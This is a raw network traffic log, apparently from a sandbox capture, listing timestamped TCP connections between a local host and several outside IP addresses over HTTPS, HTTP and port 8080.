Jan 14, 2022 04:59:13.818114996 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.818135023 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.818161964 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.818177938 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.818600893 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.818617105 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.818691015 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.834702015 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.834822893 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.834892988 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.834907055 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.834929943 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.834959030 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.834995985 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.835045099 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.835079908 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.835128069 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.835150957 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.835189104 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.835211992 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.835371017 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.835422993 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.835443020 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.835469961 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.835494041 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.835619926 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.835679054 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.835699081 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.835724115 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.835747004 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.835866928 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.835920095 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.835939884 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.835964918 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.835994959 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.836117029 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.836167097 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.836186886 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.836215019 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.836236000 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.836429119 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.836481094 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.836500883 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.836527109 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.836549997 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.836688042 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.836740971 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.836761951 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.836787939 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.836802006 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.836880922 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.836930037 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.836949110 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.836991072 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.837025881 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.837121964 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.837168932 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.837189913 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.837239981 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.837263107 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.837389946 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.837409973 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.837435007 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.837704897 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.837726116 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.837790012 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.837861061 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.837872982 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.837896109 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.837929010 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.837946892 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.837971926 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.837986946 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.838033915 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.838061094 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.838597059 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.838649988 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.838789940 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.838814020 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.838836908 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.838857889 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.838907957 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.838953018 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.839324951 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.839366913 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.839421988 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.839442015 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.839499950 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.839529037 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.857453108 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.857501984 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.857582092 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.857616901 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.857666969 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.857947111 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.857986927 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.858047009 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.858069897 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.858113050 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.858464956 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.858500957 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.858555079 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.858577013 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.858630896 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.858954906 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.858989954 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.859047890 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.859069109 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.859117985 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.859608889 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.859674931 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.859695911 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.859728098 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.859740973 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.859824896 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.859846115 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.859872103 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.859910011 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.859951973 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.859976053 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.859993935 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.860028028 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.860167980 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.860368013 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.860408068 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.860466957 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.860486984 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.860542059 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.860606909 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.860886097 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.860924959 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.860980034 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.861000061 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.861041069 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.861130953 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.861387968 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.861428022 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.861480951 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.861499071 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.861551046 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.861777067 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.861879110 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.861920118 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.861970901 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.861989975 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.862040043 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.862421036 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.862457037 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.862477064 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.862498045 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.862519026 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.862575054 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.862586975 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.862879992 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.862919092 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.862972021 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.862991095 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.863042116 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.863318920 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.863351107 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.863377094 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.863396883 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.863420010 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.863435984 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.863576889 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.863857031 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.863892078 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.863981962 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.864001989 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.864021063 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.864770889 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.900427103 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.900480032 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.900688887 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.900719881 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.900746107 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.900834084 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.911637068 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.918056011 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.918096066 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:13.918118954 CET	49804	443	192.168.2.3	162.159.133.233
Jan 14, 2022 04:59:13.918132067 CET	443	49804	162.159.133.233	192.168.2.3
Jan 14, 2022 04:59:15.870479107 CET	49810	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:15.927668095 CET	80	49810	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:15.927793026 CET	49810	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:15.927923918 CET	49810	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:15.927942991 CET	49810	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:15.984318018 CET	80	49810	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:16.011801958 CET	80	49810	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:16.011905909 CET	49810	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:16.012114048 CET	49810	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:16.042433023 CET	49811	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:16.068311930 CET	80	49810	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:16.098917007 CET	80	49811	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:16.101741076 CET	49811	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:16.101794004 CET	49811	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:16.102348089 CET	49811	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:16.158428907 CET	80	49811	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:16.158651114 CET	80	49811	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:16.186861992 CET	80	49811	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:16.187048912 CET	49811	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:16.187201023 CET	49811	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:16.211921930 CET	49812	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:16.243540049 CET	80	49811	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:16.268105030 CET	80	49812	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:16.268230915 CET	49812	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:16.268343925 CET	49812	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:16.268394947 CET	49812	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:16.324632883 CET	80	49812	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:16.350084066 CET	80	49812	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:16.350168943 CET	49812	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:16.350402117 CET	49812	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:16.356679916 CET	49813	80	192.168.2.3	188.166.28.199
Jan 14, 2022 04:59:16.406363964 CET	80	49812	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:16.533071041 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:16.533265114 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:16.533315897 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:16.593564987 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:19.358006954 CET	49813	80	192.168.2.3	188.166.28.199
Jan 14, 2022 04:59:25.358557940 CET	49813	80	192.168.2.3	188.166.28.199
Jan 14, 2022 04:59:37.420569897 CET	49824	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:37.478260994 CET	80	49824	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:37.478377104 CET	49824	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:37.478473902 CET	49824	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:37.478499889 CET	49824	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:37.535849094 CET	80	49824	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:37.559830904 CET	80	49824	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:37.560003996 CET	49824	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:37.560054064 CET	49824	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:37.589492083 CET	49826	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:37.615942001 CET	80	49824	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:37.647497892 CET	80	49826	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:37.649350882 CET	49826	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:37.649547100 CET	49826	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:37.649569988 CET	49826	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:37.705328941 CET	80	49826	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:37.734066010 CET	80	49826	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:37.734402895 CET	49826	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:37.734778881 CET	49826	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:37.764096022 CET	49827	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:37.790535927 CET	80	49826	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:37.820447922 CET	80	49827	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:37.820590973 CET	49827	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:37.820666075 CET	49827	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:37.820677996 CET	49827	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:37.877162933 CET	80	49827	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:37.904429913 CET	80	49827	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:37.904535055 CET	49827	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:37.904555082 CET	49827	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:37.929016113 CET	49830	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:37.960596085 CET	80	49827	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:37.984955072 CET	80	49830	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:37.987653017 CET	49830	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:37.987737894 CET	49830	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:37.987778902 CET	49830	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:38.043972015 CET	80	49830	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:38.072016001 CET	80	49830	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:38.072194099 CET	49830	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:38.072235107 CET	49830	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:38.128221989 CET	80	49830	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:38.137084007 CET	49832	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:38.192946911 CET	80	49832	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:38.193753004 CET	49832	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:38.193926096 CET	49832	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:38.193948030 CET	49832	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:38.249965906 CET	80	49832	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:38.302746058 CET	80	49832	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:38.303719997 CET	49832	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:38.303746939 CET	49832	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:38.359649897 CET	80	49832	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:38.652215958 CET	49835	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:38.708693981 CET	80	49835	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:38.708813906 CET	49835	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:38.708915949 CET	49835	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:38.709727049 CET	49835	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:38.765969992 CET	80	49835	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:38.766139984 CET	80	49835	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:38.818808079 CET	80	49835	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:38.818928003 CET	49835	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:38.819032907 CET	49835	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:38.846296072 CET	49837	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:38.874582052 CET	80	49835	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:38.902992964 CET	80	49837	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:38.903167009 CET	49837	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:38.903316975 CET	49837	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:38.903337955 CET	49837	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:38.960010052 CET	80	49837	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:38.999663115 CET	80	49837	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:38.999829054 CET	49837	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:39.000036955 CET	49837	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:39.033526897 CET	49838	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:39.058022022 CET	80	49837	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:39.089838028 CET	80	49838	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:39.089996099 CET	49838	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:39.090161085 CET	49838	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:39.090184927 CET	49838	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:39.146756887 CET	80	49838	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:39.178071976 CET	80	49838	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:39.178210020 CET	49838	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:39.178529978 CET	49838	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:39.234853029 CET	80	49838	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:39.242433071 CET	49840	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:39.298686028 CET	80	49840	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:39.298907995 CET	49840	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:39.298963070 CET	49840	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:39.298971891 CET	49840	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:39.355426073 CET	80	49840	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:39.387739897 CET	80	49840	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:39.388438940 CET	49840	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:39.396511078 CET	49840	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:39.428069115 CET	49842	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:39.452450991 CET	80	49840	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:39.484441042 CET	80	49842	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:39.484608889 CET	49842	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:39.484862089 CET	49842	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:39.484880924 CET	49842	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:39.541299105 CET	80	49842	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:39.570105076 CET	80	49842	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:39.571715117 CET	49842	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:39.571773052 CET	49842	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:39.600090981 CET	49843	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:39.628086090 CET	80	49842	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:39.656255960 CET	80	49843	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:39.656387091 CET	49843	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:39.656476021 CET	49843	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:39.656682014 CET	49843	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:39.714037895 CET	80	49843	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:39.737250090 CET	80	49843	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:39.738563061 CET	49843	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:39.768991947 CET	49843	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:39.799061060 CET	49845	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:39.825212002 CET	80	49843	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:39.855777979 CET	80	49845	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:39.859466076 CET	49845	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:39.859819889 CET	49845	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:39.859838963 CET	49845	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:39.916656017 CET	80	49845	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:39.964689970 CET	80	49845	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:39.965162039 CET	49845	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:39.965619087 CET	49845	80	192.168.2.3	94.142.143.91
